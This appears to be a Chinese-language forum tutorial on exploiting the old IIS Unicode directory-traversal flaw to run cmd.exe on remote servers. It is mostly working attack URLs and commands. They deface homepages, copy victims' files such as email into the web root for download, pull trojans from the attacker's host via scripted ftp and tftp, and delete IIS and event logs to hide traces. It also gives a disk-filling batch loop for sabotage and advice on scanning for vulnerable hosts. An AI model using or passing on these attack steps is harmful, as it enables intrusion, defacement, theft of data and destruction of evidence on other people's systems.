11.11.22.22/msadc/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir （这个命令同样道理）
大家请注意：/c后面的+，实际上，他就是空格，请记牢！dir开始就是dos命令了，我们可以更改一下：
11.11.22.22/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:autoexec.bat+c:winntauto.exe
会dos的朋友一定懂其意义了，不懂的请去看书 .
不用说，大家也知道我们就可以利用它来对有漏洞的机器展开攻击了！
三，实战演练
1，修改主页！（是不是很爽？）
一般主页位置在c:inetpubwwwroot下，但要是改了路径，就需要找找了。
最方便的方法：在浏览器里输入 11.11.22.22/.ida要是有漏洞，那在浏览器里 便会显示主页路径，这个漏洞存在率很高，自然是我们的首选。
分析法：用dir看各个盘符的根目录，看可疑的就进去看，运气好的在一分钟里找到，这要看运气和直觉。
dir/s法：首先在看其主页，找个图片或连接，看它的文件名，比如，11.11.22.22首页上
有一幅图片，右击，属性，看到了吗？iloveu.gif，然后我们利用unicode输入
这条命令dir c:iloveu.gif /s意味着查找c盘下所有目录里的iloveu.gif，注意
实际应用时别忘了把空格改为+,如果没有继续找d盘，很快就能确定主页目录的。
找到了目录，就要对它开刀了！一般默认收页为index.htm,index.html,index.asp,
default.htm,defautl.html,default.asp中的一个，现在我们确定11.11.22.22中为index.htm
那么我们就修改它吧！
最方便的方法：echo法。echo是一个系统命令，主要用于设置回应开关，而echo cshu >c:autoexe.bat就是把
cshu加入autoexec.bat里并删除原有内容，echo cshunice >>c:autoexec.bat
就是加入cshunice但不删除原有内容，这样我们就可以逍遥的改了。
11.11.22.22/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+echo+hackedbycshu+>c:inetpubwwwrootindex.htm
回应为：HTTP 500 - 内部服务器错误 通过对cmd的分析，袁哥得出一条简便的方法，加入“符号
11.11.22.22/scripts/..%c1%1c../winnt/system32/cmd”.exe?/c+echo+hackedbycshu+>c:inetpubwwwrootindex.htm
11.11.22.22/scripts/..%c1%1c../winnt/system32/cmd“.exe?/c+echo+2001730+>>c:inetpubwwwrootindex.htm
回应为：cgi错误，不用理会
两条命令一下，呵呵，再看看11.11.22.22，是不是烙上我们的大名了？不错吧
而在实际操作中，可能袁哥的方法也会失效，这时，我们就可以copy cmd.exe
为另一个exe，记住路径，用copy后的来echo
例如：11.11.22.22/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+cmd.exe+c:a.exe
11.11.22.22/scripts/..%c1%1c../a.exe?/c+echo+hackedbycshu+>c:inetpubwwwrootindex.htm
2,上传法：echo有点不讲道理，把人家的文件破坏了，要是想在主页上增光添彩，
那就应该用改好的主页上传，这个我们后面介绍，
几点忠告：
1，对于没有主页的机器（就是正在建立的主页），不要改它，这很没水准，也很没道德
2，echo前记得帮他们做好备份
3，不准在主页里加入恶性语句
2，下载文件
要是有什么有用的文件被你发现，那我们如何下载呢？
最简单的方法：把文件copy至网页目录下。copy c:emailbaby.eml c:inetpubwwwrootbaby.zip,然后，
下载11.11.22.22/baby.zip就行了，注意！实际应用中要记得对文件名进行修改，总之不能暴露。
别的方法：对不起，没想好：）
3，最重要的上传
一般方法：ftp法
首先建一个ftp脚本文件：c:hehe.haha（名字乱取把），申请一个ftp账号，然后用echo吧
echo+open ftp.cshu.com（ftp主机） >c:hehe.haha
echo+user yourname >>cc:hehe.haha (yourname是用户名)
echo+yourpasswd >>c:hehe.haha (yourpasswd是密码)
echo+get setup.exe >>c:hehe.haha 要下载的文件
echo+quit >>c:hehe.haha
完了以后：ftp+/s:c:hehe.haha,由于是ftp主机，那么速度一定很快，过一会setup.exe
就会出现在当前目录了（也就是cmd所在目录）
别忘了先上传到ftp主机，不要做马大哈哦！
最简单的方法：tftp法。
这种方法不用中转服务器，首先准备一个tftp服务端，它的作用就是把你的机器做成一个tftp服务器，
利用漏洞机器来下载（注意，运行tftp时不要运行其他的ftp软件）
在这里我推荐cisco tftp server，自己去找找把，实在没有来找我：）
安装好后运行，别忘了设置好默认目录，否则会找不到文件 tftp命令：tftp -i 1.2.3.4 GET ihateu.exe c:winntihateu.exe（ihateu.exe在默认目录里）
1.2.3.4为你的ip，用unicode运行一下，会看到tftp server里有反应了，这就好了，不一会，文件就传上去了，方便把！
学会了上传，我们就可以好好改主页，还可以上传木马，还可以把程序放上去运行…………（运行程序和在dos里一样）
4，如何清除痕迹
虽然国内主机纪录ip的不是很多，但万事小心为妙，unicode权限达不到admin。用cleaniislog行不通，就…………直接删吧！
C:winntsystem32logfiles*.*
C:winntssytem32config*.evt
C:winntsystem32dtclog*.*
C:winntsystem32*.log
C:winntsystem32*.txt
C:winnt*.txt
C:winnt*.log
全……擦掉！
四，细节问题。
1，遇到长文件名怎么办？
c:program files
就用c:”program20%files"
2，遇到空格怎么办？
20%代替喽，或者xx yy=xxyy~1
3,如何做个很大的文件？
目的就是破坏啦！我不喜欢不过教教你们啦
@echo off
echo big >c:a.a
:h
copy c:a.a+c:a.a c:a.a
goto h
注意不要乱来啊！
4，输入命令，没反应或反应不对。
：）请检查检查再检查命令的正确性，可能没有漏洞，那就闪人！
看在你看到这里那么给我面子的份上，在给你几个吧！
www.exsample.com/msadc/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c: 或www.exsample.com/_vti_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c: 或www.exsample.com/_mem_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:
不一定有用哦！
5，如何找到unicode漏洞的主机
呵呵：）最好的方法自然是………………一个一个ping,一个一个试喽：）
不要打我呀！我说我说。最好找一个cgi扫描器，unicode查找器多如牛毛，随便找个吧！
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